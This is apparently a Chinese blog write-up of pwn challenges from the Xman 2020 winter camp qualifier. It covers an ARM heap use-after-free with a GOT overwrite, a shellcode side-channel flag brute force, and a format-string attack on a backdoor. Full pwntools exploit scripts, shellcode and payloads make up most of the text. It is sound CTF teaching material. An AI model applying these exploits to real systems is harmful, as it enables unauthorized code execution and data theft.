Xman2020冬令营选拔赛Pwn题解

这次选拔赛pwn题都还行,除了kernel没做,其他都做了,可惜考试多多,没时间去冬令营了

baby_arm

这是我第一次做arm的题目,这题目也比较友好,不过这是一道堆溢出的题目,没怎么牵扯到栈,所以暂时没去了解arm的汇编层次的结构,比如参数传递之类的,等这个寒假学习一下吧

1
2
3
4
5
6
7
➜  arm checksec pwn  
[*] '/home/mask/Desktop/xman/arm/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)

由于这是一道arm题,所以需要使用qemu来执行

1
qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf ./pwn

调试可以使用gdb附加

1
2
3
4
gdb-multiarch ./pwn -q
......
......
pwndbg> target remote localhost:1234

常规菜单题

1
2
3
4
5
6
7
8
9
➜  arm sh run.sh              
Tell me your name:
mask
Welcome to IOT world
It's a normal note boke
1. add a note
2. delete a note
3. print a note
your choice:

ida打开,很容易就发现了有uaf的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int del_note()
{
int result; // r0
int v1; // [sp+8h] [bp+8h]

printf("Index :");
read(0, &v1, 4u);
result = atoi((const char *)&v1);
if ( result < 0 || result >= count )
{
puts("Out of bound!");
exit(0);
}
if ( notelist[result] )
{
free(notelist[result]); // uaf
result = puts("Done it");
}
return result;
}

在程序的bss段可以看到name在notelist的上方

1
2
3
4
5
6
7
8
.bss:00021068                 EXPORT name
.bss:00021068 name % 1 ; DATA XREF: main+40↑o
.bss:00021068 ; .text:off_10AEC↑o
.bss:00021069 % 1
......
.bss:00021088 EXPORT notelist
.bss:00021088 ; void *notelist[20]
.bss:00021088 notelist % 0x50

因此可以在name中伪造一个size,然后利用double free再malloc到bss这里进而控制整个notelist

改写notelist为got表就可以leak libc,接着就可以写system

一个多平台libc search的网站:https://libc.nullbyte.cat/

这里直接用我本地libc来跑了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
e = ELF(file)
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
rlibc = ''
ip = ''
port = ''
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.debug()


def run(local):
global p, libc, debug
if local == 1:
debug = True
# p = process(["qemu-arm", "-g", "1111", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./pwn"])
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

def add(size, c):
sla(": \n", '1')
sla(":", str(size))
sea(":", c)
sleep(0.5)

def delete(idx):
sla(": \n", '2')
sla(":", str(idx))
sleep(0.5)

def show(idx):
sla(": \n", '3')
sla("Index :", str(idx))

def edit(idx,c):
sla(": \n", '5')
sla(":", str(idx))
sla(":", c)
sleep(0.5)

run(1)
sla(":", p32(0x31).rjust(0x20, '\x00'))
add(0x28, '0')
add(0x28, '/bin/sh')
add(0x28, '2\n')
add(0x28, '2\n')
add(0x10, '3')
delete(2)
delete(3)
delete(2)
add(0x28, p32(0x21078 + 8))
add(0x28, '5')
add(0x28, p32(0x21078 + 8))
add(0x28, p32(e.got['free']))
show(0)
libc.address = un32(rn(4)) - libc.symbols['free']
print hex(libc.address)
edit(0, p32(libc.symbols['system']))
delete(1)
shell()

baby_kernel

没整过,先占坑,日后补

NoooCall

很有意思的一道题,程序中把flag读进了内存,然后读入16个字节的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *flag; // ST10_8
void *shellcode; // ST18_8
FILE *v6; // [rsp+8h] [rbp-28h]

sub_B91(a1, a2, a3);
v6 = fopen("./flag.txt", "r");
if ( !v6 )
exit(1);
flag = mmap((void *)0x200000000LL, 0x2000uLL, 3, 34, -1, 0LL);
shellcode = mmap((void *)0x300000000LL, 0x20000uLL, 7, 34, -1, 0LL);
_isoc99_fscanf((__int64)v6, (__int64)"%s", (__int64)flag);
printf("Your Shellcode >>", "%s");
read(0, shellcode, 0x10uLL);
seccomp_band_call();
((void (__fastcall *)(_QWORD, void *))shellcode)(0LL, shellcode);
return 0LL;
}

seccomp_band_call函数中禁用了call指令,也就是说我不能执行系统调用了

1
2
3
4
5
6
7
8
9
10
unsigned __int64 sub_C34()
{
unsigned __int64 v0; // ST08_8
__int64 v1; // ST00_8

v0 = __readfsqword(0x28u);
v1 = seccomp_init(0LL);
seccomp_load(v1);
return __readfsqword(0x28u) ^ v0;
}

这里利用方式有一点side channel attack的味道

1
2
3
4
5
mov rdi,[rsp+0x18]
movzx eax, byte ptr [rdi+i]
l:cmp rax,x
jnz l
retn

这一段shellcode的意思是flag[i] == x的比较,如果不等,则进行循环,否则返回main函数,于是可以通过程序的运行情况,来判断x是否是flag[i],因此对flag逐位逐字节爆破,直到零字节,就可以得知flag了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './chall'
e = ELF(file)
context.arch = e.arch
libc = e.libc
rlibc = ''
ip = ''
port = ''
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

shellcode = '''
mov rdi,[rsp+0x18]
movzx eax, byte ptr [rdi+{}]
l:cmp rax,{}
jnz l
'''
flag = ''
def brute(c):
global shellcode, flag
run(1)
try:
code = shellcode.format(hex(len(flag)), hex(c))
code = asm(code)
sea('>>', code + '\xc3')
p.recv(timeout=0.1)
except:
if c == 0:
print "flag:" + flag
exit()
else:
flag += chr(c)
print flag
finally:
p.close()
tab = [i for i in range(32, 127)] + [0]
print tab
while True:
for i in tab:
brute(i)

format

一道格式化字符串利用的题目,字符串存在堆里,不在栈上,不能直接任意地址写

不过可以改栈上指针指向backdoor函数直接shell,爆破栈低位,几率挺大

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# encoding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './chall'
e = ELF(file)
libc = e.libc
rlibc = ''
ip = ''
port = ''
debug = False


def dbg(code=""):
global debug
if debug == False:
return
gdb.attach(p, code)


def run(local):
global p, libc, debug
if local == 1:
debug = True
p = process(file)
else:
p = remote(ip, port)
debug = False
if rlibc != '':
libc = ELF(rlibc)


se = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sea = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda: p.recv(timeout=0.5)
ru = lambda x: p.recvuntil(x, drop=True)
rn = lambda x: p.recv(x)
shell = lambda: p.interactive()
un64 = lambda x: u64(x.ljust(8, '\x00'))
un32 = lambda x: u32(x.ljust(4, '\x00'))

while True:
try:
run(1)
rc()
payload = "%28c%10$hhn|%34218ca%18$hn"
se(payload)
ru('a')
sl('ls')
rc()
shell()
p.close()
break
except:
p.close()

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×